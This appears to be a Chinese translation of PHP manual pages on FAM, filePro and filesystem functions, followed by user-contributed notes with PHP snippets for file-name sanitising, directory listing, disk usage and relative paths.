bool fam_suspend_monitor ( resource fam, resource fam_monitor )

fam_suspend_monitor() temporarily suspend monitoring of a resource previously requested using one of the fam_monitor_ functions. Monitoring can later be continued using fam_resume_monitor() without the need of requesting a complete new monitor.

See also fam_resume_monitor(), and fam_cancel_monitor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_resume_monitor | 上一级 | filePro Functions


filePro Functions

PHP 手册
后退 前进

XXXIV. filePro Functions

简介

These functions allow read-only access to data stored in filePro databases.

filePro is a registered trademark of fP Technologies, Inc. You can find more information about filePro at http://www.fptech.com/.

安装

filePro support in PHP is not enabled by default. To enable the bundled read-only filePro support you need to use the--enable-filepro configuration option when compiling PHP.

目录
filepro_fieldcount -- Find out how many fields are in a filePro database
filepro_fieldname -- Gets the name of a field
filepro_fieldtype -- Gets the type of a field
filepro_fieldwidth -- Gets the width of a field
filepro_retrieve -- Retrieves data from a filePro database
filepro_rowcount -- Find out how many rows are in a filePro database
filepro -- Read and verify the map file

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fam_suspend_monitor | 上一级 | filepro_fieldcount


filepro_fieldcount

(PHP 3, PHP 4, PHP 5)

filepro_fieldcount -- Find out how many fields are in a filePro database

Description

int filepro_fieldcount ( void )

Returns the number of fields (columns) in the opened filePro database.

See also filepro().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filePro Functions | 上一级 | filepro_fieldname


filepro_fieldname

(PHP 3, PHP 4, PHP 5)

filepro_fieldname -- Gets the name of a field

Description

string filepro_fieldname ( int field_number )

Returns the name of the field corresponding to field_number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filepro_fieldcount | 上一级 | filepro_fieldtype


filepro_fieldtype

(PHP 3, PHP 4, PHP 5)

filepro_fieldtype -- Gets the type of a field

Description

string filepro_fieldtype ( int field_number )

Returns the edit type of the field corresponding to field_number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filepro_fieldname | 上一级 | filepro_fieldwidth


filepro_fieldwidth

(PHP 3, PHP 4, PHP 5)

filepro_fieldwidth -- Gets the width of a field

Description

int filepro_fieldwidth ( int field_number )

Returns the width of the field corresponding to field_number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filepro_fieldtype | 上一级 | filepro_retrieve


filepro_retrieve

(PHP 3, PHP 4, PHP 5)

filepro_retrieve -- Retrieves data from a filePro database

Description

string filepro_retrieve ( int row_number, int field_number )

Returns the data from the specified location in the database. The row_number parameter must be between zero and the total number of rows minus one (0..filepro_rowcount() - 1). Likewise, field_number accepts values between zero and the total number of fields minus one (0..filepro_fieldcount() - 1)

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filepro_fieldwidth | 上一级 | filepro_rowcount


filepro_rowcount

(PHP 3, PHP 4, PHP 5)

filepro_rowcount -- Find out how many rows are in a filePro database

Description

int filepro_rowcount ( void )

Returns the number of rows in the opened filePro database.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

See also filepro().

add a note add a note User Contributed Notes
kulpp at wsg dot net
09-Jul-2000 06:53
FYI: Please check for outstanding bug reports on the filepro functions before using them.
add a note add a note

后退 | 起点 | 前进
filepro_retrieve | 上一级 | filepro


filepro

(PHP 3, PHP 4, PHP 5)

filepro -- Read and verify the map file

Description

bool filepro ( string directory )

This reads and verifies the map file, storing the field count and info.

No locking is done, so you should avoid modifying your filePro database while it may be opened in PHP.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

add a note add a note User Contributed Notes
RobNar
12-Jun-2003 11:38
Two notes here:

1) PHP does not need a running copy of filepro to read the datafiles.  Just provide it with a directory containing the map file, key file, and the data* file(s) for the table you want to read. Screen files, outfiles, and process files are not used.

2) This function seems to pass back the system error code in brackets [] along with the PHP warning.  A list of error codes can be found in your filepro manual's appendix.
kulpp at wsg dot net
09-Jul-2000 06:52
FYI: Please check for outstanding bug reports on the filepro functions before using them.
add a note add a note

后退 | 起点 | 前进
filepro_rowcount | 上一级 | Filesystem 文件系统函数


Filesystem 文件系统函数

PHP 手册
后退 前进

XXXV. Filesystem 文件系统函数

简介

需求

无需外部库文件就可以加入本扩展模块的支持。但如要使 PHP 在 Linux 上支持 LFS（大文件）的话，必须有最新的 glibc 并在编译时加入参数：-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. 文件系统和流配置选项

名称 | 默认值 | 可修改范围 | 更新记录
allow_url_fopen | "1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.3.4. PHP 4.0.4 版以后可用。
user_agent | NULL | PHP_INI_ALL | PHP 4.3.0 版以后可用。
default_socket_timeout | "60" | PHP_INI_ALL | PHP 4.3.0 版以后可用。
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL | PHP 4.3.0 版以后可用。

以下是配置选项的简要解释。

allow_url_fopen boolean

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件，一些扩展库例如 zlib 可能会注册更多的封装协议。

注: 出于安全性考虑，这个选项只能通过 php.ini 中设置。

注: 本选项是版本 4.0.3 发行后立即引进的。4.0.3 以及以前的版本只能在编译时通过配置项 --disable-url-fopen-wrapper 来取消此特性。

警告

Windows 版在 PHP 4.3.0 之前，下列函数不支持远程文件访问：include()，include_once(), require()，require_once() 和 参考 LV, Image 图像函数 扩展库中的 imagecreatefromXXX 函数。

user_agent string

定义 PHP 发送的 User-Agent。

default_socket_timeout integer

基于 socket 的流的默认超时时间（秒）。

注: 本配置参数是 PHP 4.3.0 引进的。

from string

定义匿名 ftp 的密码（email 地址）。

auto_detect_line_endings boolean

当设为 On 时，PHP 将检查通过 fgets() 和 file() 取得的数据中的行结束符号是符合 Unix，MS-Dos，还是 Macintosh 的习惯。

这使得 PHP 可以和 Macintosh 系统交互操作，但是默认值是 Off，因为在检测第一行的 EOL 习惯时会有很小的性能损失，而且在 Unix 系统下使用回车符号作为项目分隔符的人们会遭遇向下不兼容的行为。

注: 本配置参数是 PHP 4.3.0 引进的。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

GLOB_BRACE (integer)

GLOB_ONLYDIR (integer)

GLOB_MARK (integer)

GLOB_NOSORT (integer)

GLOB_NOCHECK (integer)

GLOB_NOESCAPE (integer)

PATHINFO_DIRNAME (integer)

PATHINFO_BASENAME (integer)

PATHINFO_EXTENSION (integer)

FILE_USE_INCLUDE_PATH (integer)

FILE_APPEND (integer)

FILE_IGNORE_NEW_LINES (integer)

FILE_SKIP_EMPTY_LINES (integer)

参见

相关函数参见目录函数和程序执行函数。

有关可以用于远程文件的各种 URL 封装协议的说明列表，参见附录 L。

目录
basename -- 返回路径中的文件名部分
chgrp -- 改变文件所属的组
chmod -- 改变文件模式
chown -- 改变文件的所有者
clearstatcache -- 清除文件状态缓存
copy -- 拷贝文件
delete -- 参见 unlink() 或 unset()
dirname -- 返回路径中的目录部分
disk_free_space -- 返回目录中的可用空间
disk_total_space -- 返回一个目录的磁盘总大小
diskfreespace -- disk_free_space()的别名
fclose -- 关闭一个已打开的文件指针
feof -- 测试文件指针是否到了文件结束的位置
fflush -- 将缓冲内容输出到文件
fgetc -- 从文件指针中读取字符
fgetcsv -- 从文件指针中读入一行并解析 CSV 字段
fgets -- 从文件指针中读取一行
fgetss -- 从文件指针中读取一行并过滤掉 HTML 标记
file_exists -- 检查文件或目录是否存在
file_get_contents -- 将整个文件读入一个字符串
file_put_contents -- 将一个字符串写入文件
file -- 把整个文件读入一个数组中
fileatime -- 取得文件的上次访问时间
filectime -- 取得文件的 inode 修改时间
filegroup -- 取得文件的组
fileinode -- 取得文件的 inode
filemtime -- 取得文件修改时间
fileowner -- 取得文件的所有者
fileperms -- 取得文件的权限
filesize -- 取得文件大小
filetype -- 取得文件类型
flock -- 轻便的咨询文件锁定
fnmatch -- 用模式匹配文件名
fopen -- 打开文件或者 URL
fpassthru -- 输出文件指针处的所有剩余数据
fputcsv -- 将行格式化为 CSV 并写入文件指针
fputs -- fwrite()的别名
fread -- 读取文件（可安全用于二进制文件）
fscanf -- 从文件中格式化输入
fseek -- 在文件指针中定位
fstat -- 通过已打开的文件指针取得文件信息
ftell -- 返回文件指针读/写的位置
ftruncate -- 将文件截断到给定的长度
fwrite -- 写入文件（可安全用于二进制文件）
glob -- 寻找与模式匹配的文件路径
is_dir -- 判断给定文件名是否是一个目录
is_executable -- 判断给定文件名是否可执行
is_file -- 判断给定文件名是否为一个正常的文件
is_link -- 判断给定文件名是否为一个符号连接
is_readable -- 判断给定文件名是否可读
is_uploaded_file -- 判断文件是否是通过 HTTP POST 上传的
is_writable -- 判断给定的文件名是否可写
is_writeable -- is_writable()的别名
link -- 建立一个硬连接
linkinfo -- 获取一个连接的信息
lstat -- 给出一个文件或符号连接的信息
mkdir -- 新建目录
move_uploaded_file -- 将上传的文件移动到新位置
parse_ini_file -- 解析一个配置文件
pathinfo -- 返回文件路径的信息
pclose -- 关闭进程文件指针
popen -- 打开进程文件指针
readfile -- 输出一个文件
readlink -- 返回符号连接指向的目标
realpath -- 返回规范化的绝对路径名
rename -- 重命名一个文件或目录
rewind -- 倒回文件指针的位置
rmdir -- 删除目录
set_file_buffer -- stream_set_write_buffer()的别名
stat -- 给出文件的信息
symlink -- 建立符号连接
tempnam -- 建立一个具有唯一文件名的文件
tmpfile -- 建立一个临时文件
touch -- 设定文件的访问和修改时间
umask -- 改变当前的 umask
unlink -- 删除文件

add a note add a note User Contributed Notes
tim at astolat dot it
04-Jun-2006 11:16
Sorry, important typo in previous post:
$dodgychars = "[^0-9a-zA-z()_-]";
should be (notice captial Z)
$dodgychars = "[^0-9a-zA-Z()_-]";
tim at astolat dot it
04-Jun-2006 02:03
Little function to sanitize a user supplied file name, and optionally force a file extension:

function sanitize_filename($filename, $forceextension="")
{
  /*
  1. Remove leading and trailing dots
  2. Remove dodgy characters from filename, including spaces and dots except last.
  3. Force extension if specified
  */

  $defaultfilename = "none";
  $dodgychars = "[^0-9a-zA-z()_-]"; // allow only alphanumeric, underscore, parentheses and hyphen

  $filename = preg_replace("/^[.]*/","",$filename); // lose any leading dots
  $filename = preg_replace("/[.]*$/","",$filename); // lose any trailing dots
  $filename = $filename?$filename:$defaultfilename; // if filename is blank, provide default

  $lastdotpos=strrpos($filename, "."); // save last dot position
  $filename = preg_replace("/$dodgychars/","_",$filename); // replace dodgy characters
  $afterdot = "";
  if ($lastdotpos !== false) { // Split into name and extension, if any.
   $beforedot = substr($filename, 0, $lastdotpos);
   if ($lastdotpos < (strlen($filename) - 1))
     $afterdot = substr($filename, $lastdotpos + 1);
  }
  else // no extension
   $beforedot = $filename;

  if ($forceextension)
   $filename = $beforedot . "." . $forceextension;
  elseif ($afterdot)
   $filename = $beforedot . "." . $afterdot;
  else
   $filename = $beforedot;

  return $filename;
}
echo sanitize_filename("..file<>@**()name.ddd.badextension", "extension")."\n";
echo sanitize_filename("..file<>@**()name.extension.ddd")."\n";
echo sanitize_filename("...", "extension")."\n";
echo sanitize_filename("...")."\n";
echo sanitize_filename("filename")."\n";
echo sanitize_filename("filename", "extension")."\n";
echo sanitize_filename(".xyz...xxx..", "extension")."\n";
echo sanitize_filename(".xyz...xxx..", "")."\n";

produces

file_____()name_ddd.extension
file_____()name_extension.ddd
none.extension
none
filename
filename.extension
xyz__.extension
xyz__.xxx
codatrix at yahoo dot com
06-Apr-2006 12:58
The following underlisted function called "fcountext" is a function I wrote, for counting the number of file extensions within a given directory. Hope you find it satisfactory as there is no alternative solution via PHP's core filesystem's functions for counting the number of file extensions within a given directory.

<?php

   /*
   * Author: ORUNTA C. N.
   * Email: codatrix@yahoo.com
   *
   * Name: fcountext()
   * Function: To count the number of file extensions within a given directory.
   * Argument(s): $dir, i.e. directory path - for e.g. 'htdocs/yahoo/'
   * Return-type: Integer
   */

   function fcountext($dir)
   {
       //Authenticate - if directory?
       if(is_dir($dir)) {

           //Open and establish directory handle/pointer
           $dp = opendir($dir);

           //Create extensible array
           $afile = array();

           //Set initializer array;
           $i = 0;

           //Read contents of directory into array $afile, thus:
           while($content = readdir($dp)) {

               //Concatenate filepath
               $filepath = $dir.$content;

               //Confirm any initial value within array...
               if(!count($afile)) {

                   //Authenticate - if file?
                   if(is_file($filepath)) {

                       //Get extension using PHP's 'pathinfo'
                       $pathinfo = pathinfo($filepath);

                       //Store into the array
                       $afile[$i] = $pathinfo['extension'];
                   }

               } else {

                   //Authenticate - if file?
                   if(is_file($filepath)) {

                       //Get extension using PHP's 'pathinfo'
                       $pathinfo = pathinfo($filepath);

                       //Count array into $len
                       $len = count($afile);

                       //Compare $pathinfo['extension'] with elements of array $afile
                       for($i=0; $i<$len; $i++) {
                           if($afile[$i] != $pathinfo['extension']) $stat = 'T';
                           else {
                               $stat = 'F';
                               break;
                           }
                       }

                       //If Status is true, then store into array
                       if($stat == 'T') {
                           $afile[$len] = $pathinfo['extension'];
                       }
                   }
               }
           }

           //Count total no. of different extensions.
           $extnum = count($afile);

           //Return no. of ext.
           return $extnum;

           //Close directory
           closedir($dp);

       } else {

           //Return no Value
           return 'Invalid Directory';
       }
   }

?>

The above function can be incorporated as you deem fit into a class situation to be accessed publicly.
wsuttonjr at hyponiqs dot com
15-Oct-2005 03:26
Here's a little function I wrote that I thought someone might find useful.  Ever notice those fancy breadcrumbed headings on Web sites such as Macromedia.com?  Ever say, "I want one, but I don't want to write the HTML in each time?"  Well, here you go.  This does that based on your directory structure.

Do note, however, that it only works if you use files and folders that are named like:
/my-folder/my-file.php
/my_folder/my_file.php
/My_Folder/My_File.php
/My-Folder/My-File.php
...and the variable <i>$path</i> must be similarly formatted.  A preceding forward slash (/) must be on that <i>$path</i>.  $_SERVER['PHP_SELF'], $_SERVER['DOCUMENT_ROOT'], and other $_SERVER variables always add that.

When I have some free time (sooner rather than later), I'm going to write a more in-depth script for this.  I just needed something simple for now.  You can expect a PHP 4 and PHP 5 script class dedicated to this one idea.  For now, this simple function does the trick.  Anyway, here you go:

<?php
function breadCrumbs($path)
{
   /**
     *  What it does is split a path string into its two base objects -- a
     *  file name and a directory name.
     *
     *  After that, it then splits the directory into an array of sub-
     *  directories and adds them to a stack of links with keys of 'name'
     *  (directory name) and 'href' (hyperlink reference path).
     *
     *  Each item in this indexed associative array is then stacked again
     *  into an array of actual hyperlinks (i.e. <a href="Blah/Blah2.php">)
     *  split by a tree notification ( > ) of sorts.
     *
     *  Finally, the entire string, which may look like:
     *  <a href="#">Services</a> > <a href="#">Web</a>
     *  has the current file being viewed added to it.  That finished string
     *  is then returned to the calling script/function for display to the
     *  browser.
     *
     *  The returned HTML may look like:
     *  <a href="#">Services</a> > <a href="#">Web</a> > Home
     */

   // set the index file and name for each directory
   $dirIndex = 'Home.php';
   $dirIndexName = 'Home';

   // split $path into basename and dirname
   $file = basename($path, '.php');
   $dir  = dirname($path);

   // change all backslashes to forward slashes
   $dir  = str_replace('\\', '/', $dir);

   // remove preceding forward slash (/)
   $dir  = substr($dir, 1, strlen($dir));

   // ** ADDED **
   // add a trailing '/ ' to add a blank folder name - will be removed
   // NOTE: This is to ensure that an array IS created
   $dir .= '/ ';

   // split dirname into an array
   $dirs = preg_split('@\/@', $dir);

   // get the last array index from $dirs
   $lastIndex = count($dirs) - 1;

   // remove last $dirs if empty
   if ($dirs[$lastIndex] == '' || is_null($dirs[$lastIndex])) {
       unset($dirs[$lastIndex]);
   }

   // remove empty dir
   if ($dirs[$lastIndex] == ' ') {
       unset($dirs[$lastIndex]);
   }

   // get an accurate directory count
   $dirCount = count($dirs);

   // create $link and $links variables
   $link  = '/';
   $links = array();

   // stack each directory into a link and dirname
   for ($i = 0; $i < count($dirs); $i++) {
       // change $dirs[$i] into capitalized word(s) and add spaces (for
       // grammatical correctness)
       $link .= ucwords(preg_replace('@(-|_)@', ' ', $dirs[$i])) . '/';

       $links[$i]['href'] = $link . $dirIndex;
       $links[$i]['name'] = ucwords($dirs[$i]);
   }

   // instanciate $breadcrumbs array
   $breadcrumbs = array();

   // stack $links into HTML-equivalent links
   for ($i = 0; $i < count($links); $i++) {
       $breadcrumbs[$i] = '<a href="' . $links[$i]['href'] . '">' . $links[$i]['name'] . '</a>';
   }

   // see if links are needed or if a parent document
   if ($dirs[0] == '' || empty($dirs[0])) {
       // it is not so use just the file name
       $breadcrumb = $file;
   } else {
       // it is so compile the links into a breadcrumb string
       $breadcrumb  = '<a href="/' . $dirIndex . '">' . $dirIndexName . '</a> &#8212; ' . join($breadcrumbs, ' > ');
       $breadcrumb .= ' > ' . $file;
   }

   // return compiled breadcrumb string
   return $breadcrumb;
}
?>
Ciprian Danea, cipriandanea at yahoo dot com
28-Jul-2005 10:28
Here is a little script that will enumerate a directory (given as a string) recursively.

The main working function is get_dir($path,$max_depth='')
Optional aguments:
$max_depth : obvious it'll limit the recursive depth.
Not so optional:
$l=0 : the first call must omit this, or explicitly set it to 0, since it represents the starting depth
$total='': the current total filesize; it should also be left alone, although it autosets itself to 0 on the first call;

In order to do something with the files other than just echoing them, simply replace the echo functions with your own;

Thanks to:
dave at birko dot cjb dot net (for the nice filesize function)
vbwebprofi at gmx dot de  (for the fileperms function)

function get_dir($path,$max_depth='',$l=0,$total=''){
   if(!is_dir($path))return;
   $path=substr($path,-1)!="/"?$path."/":$path;
   if(!$l){
       echo "\nEnumerating directory $path :\n\n";
       $total=0;
   }
   if($max_depth==='' || ($max_depth>$l && is_int($max_depth))) $test_depth=true;
   else $test_depth=false;
   $pre="";
   $c=$l;
   while($c--)$pre.="\t";
   $dir=opendir($path);
   while($f=readdir($dir)){
       if($f=="."||$f=="..")continue;
       $file=$path.$f;
       $size="";
       if(is_file($file)||!is_dir($file)){
           $s=filesize($file);
           $total+=$s;
           $size="[ ".fsize($s)." ]";
           }
       else $f.="/";
       while(strlen($size)<16)
           $size=" ".$size;
       echo "\n".get_permissions(fileperms($file)).$size.$pre."\t".$f;
       if(is_dir($file) && $test_depth)
           $total=get_dir($file,$max_depth,$l+1,$total);
   }
   if(!$l)
       echo "\n\nTotal size: ".fsize($total);
   return $total;
}

function get_permissions($fperms) {
   $out;
   if($fperms & 0x1000)    // FIFO pipe
     $out = 'p';
   elseif($fperms & 0x2000) // Character outecial
     $out = 'c';
   elseif($fperms & 0x3000) // Socket [ original value 0xD000, wrong for linux, but this is also registering as a directory... ant ideas?]
     $out = 's';
   elseif($fperms & 0x4000) // Directory
     $out = 'd';
   elseif($fperms & 0x6000) // Block outecial
     $out = 'b';
   elseif($fperms & 0x8000) // Regular
     $out = '-';
   elseif($fperms & 0xA000) // Symbolic Link
     $out = 'l';
   else                        // UNKNOWN
     $out = 'u';
   // owner
   $out .= (($fperms & 0x0100) ? 'r' : '-') .
         (($fperms & 0x0080) ? 'w' : '-') .
         (($fperms & 0x0040) ? (($fperms & 0x0800) ? 's' : 'x' ) :
                                   (($fperms & 0x0800) ? 'S' : '-'));
   // group
   $out .= (($fperms & 0x0020) ? 'r' : '-') .
         (($fperms & 0x0010) ? 'w' : '-') .
         (($fperms & 0x0008) ? (($fperms & 0x0400) ? 's' : 'x' ) :
                                   (($fperms & 0x0400) ? 'S' : '-'));
   // world
   $out .= (($fperms & 0x0004) ? 'r' : '-') .
           (($fperms & 0x0002) ? 'w' : '-') .
           (($fperms & 0x0001) ? (($fperms & 0x0200) ? 't' : 'x' ) :
                                 (($fperms & 0x0200) ? 'T' : '-'));
   return $out;
 }

function fsize($size) {
       $a = array("B", "KB", "MB", "GB", "TB", "PB");
       $pos = 0;
       while ($size >= 1024) {
               $size /= 1024;
               $pos++;
       }
       return round($size,2)." ".$a[$pos];
}

//usage example
get_dir("/tmp/");    // full depth
get_dir("/tmp/",4); //maximum depth set to 4
28-May-2005 03:17
Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.) Again, please note, if you ask a question, report a bug, or request a feature, your note will be deleted.)
hans at lintoo dot dk
23-Mar-2005 12:41
PHP5 Object File

I couldn't find a File Object in PHP5, so I decided to create one myself.

When a function that needs a path requires the file it will output a temp file and return the path to it, so that ie. parse_ini_file will work with the file object using:

<?php
parse_ini_file($myFile->requireFilePath());
?>

It is avaible for download at:
http://www.lintoo.dk/public/dbase_and_file_class.zip

Hans Duedal
tunnelareaten at gmail dot com
26-Feb-2005 12:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
   @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
   @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
ben at nullcreations dot net
14-Nov-2004 06:29
Directed at: fankounter at libero dot it

Erm, I think you missed glob() which does what you're doing, only much more efficiently.

see: http://php.net/glob
fankounter at libero dot it
05-Nov-2004 10:31
// ls(dir,pattern) return file list in "dir" folder matching "pattern"
// ls("path","module.php?") search into "path" folder for module.php3, module.php4, ...
// ls("images/","*.jpg") search into "images" folder for JPG images

function ls($__dir="./",$__pattern="*.*")
{
 settype($__dir,"string");
 settype($__pattern,"string");

 $__ls=array();
 $__regexp=preg_quote($__pattern,"/");
 $__regexp=preg_replace("/[\\x5C][\x2A]/",".*",$__regexp);
 $__regexp=preg_replace("/[\\x5C][\x3F]/",".", $__regexp);

 if(is_dir($__dir))
  if(($__dir_h=@opendir($__dir))!==FALSE)
  {
   while(($__file=readdir($__dir_h))!==FALSE)
   if(preg_match("/^".$__regexp."$/",$__file))
     array_push($__ls,$__file);

   closedir($__dir_h);
   sort($__ls,SORT_STRING);
  }

 return $__ls;
}
m2pc (at) hotmail.com
08-Oct-2004 12:18
After searching all over the place to find a function to do what I wanted, I wrote the following:

  /*
  **  Returns an array of valid drives on the system (a:, b:, etc.)
  */
  function getSystemDrives () {

   // Initialize
   $aResult = Array ();

   // Loop from A-Z and try opening the root dir
   for ($letter = 'A'; $letter <= 'Z'; $letter ++) {
     if (is_dir ($letter . ":"))
       $aResult [] = $letter . ":";
   }

   // Return results
   return ($aResult);
  }

It simply returns an array of valid drives as seen from the server (A:, B:, etc.).  This obviously is targeted to Win32 installations only.
Storm Reaver
13-Apr-2004 10:48
The way to write files on server where it is not possible (e.g. Gorodok.net)

<?php

 function killfile($ftp, $login, $pass, $filename){
  $conn_id = ftp_connect($ftp);
  $login_result = ftp_login($conn_id, $login, $pass);
  if ((!$conn_id) || (!$login_result)) { return false; } else {
   $del = ftp_delete($conn_id, $filename);
   if (!del) { return false; } else {return true;}
  }
  ftp_close($conn_id);
 }

killfile("gorodok.net", "login", "password", "/path/file.extension");
   // Erasing file on server
$fs = fopen("ftp://login:password@gorodok.net/path/file.extension", "w");
   // Opening file for writing
   // You can't open file 4 writing without 'killfile' function because there must be no such file on server for fopen write mode via FTP/

// Here we write what we need

fclose($fs);

?>
ken at xzone9 dot com
17-Mar-2004 04:46
The following will work on UNIX (from peeweeks code submitted for "Windows")---

function ls ($curpath) {
   $dir = dir($curpath);
   echo("<b>$curpath</b>");
   echo "<blockquote>";
   while ($file = $dir->read()) {

       if($file != "." && $file != "..") {
           if (is_dir($curpath.$file)) {
                               ls($curpath.$file."/");
             } else {
                 echo("$file<br>");
             }
       }
   }
   $dir->close();
   echo "</blockquote>";
   return;
}

//Use:

$startpath = "/home/mypath/";
ls($startpath);
http://iubito.free.fr
30-Dec-2003 08:39
Here is a function I wrote to get the relative path between 2 files or directory.

We suppose that paths are wrotten in Unix format (/ instead of windows \\)

<?php
/**
 * Return the relative path between two paths / Retourne le chemin relatif entre 2 chemins
 *
 * If $path2 is empty, get the current directory (getcwd).
 * @return string
 */
function relativePath($path1, $path2='')
{
   if ($path2 == '') {
       $path2 = $path1;
       $path1 = getcwd();
   }

   //Remove starting, ending, and double / in paths
   $path1 = trim($path1,'/');
   $path2 = trim($path2,'/');
   while (substr_count($path1, '//')) $path1 = str_replace('//', '/', $path1);
   while (substr_count($path2, '//')) $path2 = str_replace('//', '/', $path2);

   //create arrays
   $arr1 = explode('/', $path1);
   if ($arr1 == array('')) $arr1 = array();
   $arr2 = explode('/', $path2);
   if ($arr2 == array('')) $arr2 = array();
   $size1 = count($arr1);
   $size2 = count($arr2);

   //now the hard part :-p
   $path='';
   for($i=0; $i<min($size1,$size2); $i++)
   {
       if ($arr1[$i] == $arr2[$i]) continue;
       else $path = '../'.$path.$arr2[$i].'/';
   }
   if ($size1 > $size2)
       for ($i = $size2; $i < $size1; $i++)
           $path = '../'.$path;
   else if ($size2 > $size1)
       for ($i = $size1; $i < $size2; $i++)
           $path .= $arr2[$i].'/';

   return $path;
}
?>

Enjoy ! :-)
Gregor Mosheh
23-Aug-2003 08:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
   if (!$location or !is_dir($location) or !$fileregex) {
       return false;
   }

   $matchedfiles = array();

   $all = opendir($location);
   while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
         $subdir_matches = findfile($location.'/'.$file,$fileregex);
         $matchedfiles = array_merge($matchedfiles,$subdir_matches);
         unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
         if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
         }
       }
   }
   closedir($all);
   unset($all);
   return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
Gregor Mosheh
17-Jul-2003 01:25
I needed a function to find disk usage for a directory and its subs, so here it is. It's kinda like the Unix du program, except it returns the usage in bytes, not blocks.

function du($location) {
   if (!$location or !is_dir($location)) {
     return 0;
   }

   $total = 0;

   $all = opendir($location);
   while ($file = readdir($all)) {
     if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
         $total += du($location.'/'.$file);
         unset($file);
     }
     elseif (!is_dir($location.'/'.$file)) {
         $stats = stat($location.'/'.$file);
         $total += $stats['size'];
         unset($file);
     }
   }
   closedir($all);
   unset($all);
   return $total;
}

print du('/some/directory');
aggarwal_deep at hotmail dot com
16-Jul-2003 05:43
The following souce is the combination of 3 different function ,does the listing of the whole files in directories or sub-directories of a base directory(given). And find out the maximum file size of given application files. for example it will tell the maximum file size of ppt file that is placed in the directory.

<?

function showExtension($file){
 if(is_file($file)){
   $fileInfo = pathinfo($file);
   $extension=$fileInfo["extension"];
} else {
   $extension="";
 }
 return $extension;
}

function fsize($size) {
       $a = array("B", "KB", "MB", "GB", "TB", "PB");

       $pos = 0;
       while ($size >= 1024) {
             $size /= 1024;
               $pos++;
       }

     return round($size,2)." ".$a[$pos];
}

   function ls ($curpath) {
       $dir = dir($curpath);
       $file_namearr = array("ETC","PPT","XLS","DOC","PDF");

       echo("<b>$curpath</b>");
       echo "<blockquote>";
       $file_sizearr = array(1,1,1,1,1);
       while ($file = $dir->read()) {
           if($file != "." && $file != "..") {
               if (is_dir($curpath.$file)) {
                   ls($curpath.$file."/");
               }
               else  {
                   $filext=    strtoupper(showExtension($curpath.$file));
                   $curr_key = 0;
                   $curr_key = array_search($filext,$file_namearr);
                   if($curr_key){
                       //echo "<br>$filext:$curr_key";
                       $curr_file_size = $file_sizearr[$curr_key];
                       if(filesize($curpath.$file)>$curr_file_size){
                           $file_sizearr[$curr_key]= intval(filesize($curpath.$file));
                       }
                   }

                           //echo"<br> $file : ".fsize($curpath.$file);
               }
           }

       }//while ends
       for($k=0;$k<5;$k++){
           echo"<br>".$file_namearr[$k].":".fsize($file_sizearr[$k]);
       }
       $dir->close();
       echo "</blockquote>";
       return;
   }

$startpath = "/home6/docmng/";
ls($startpath);

?>
l_domenech at yahoo dot ca
04-Jul-2003 01:25
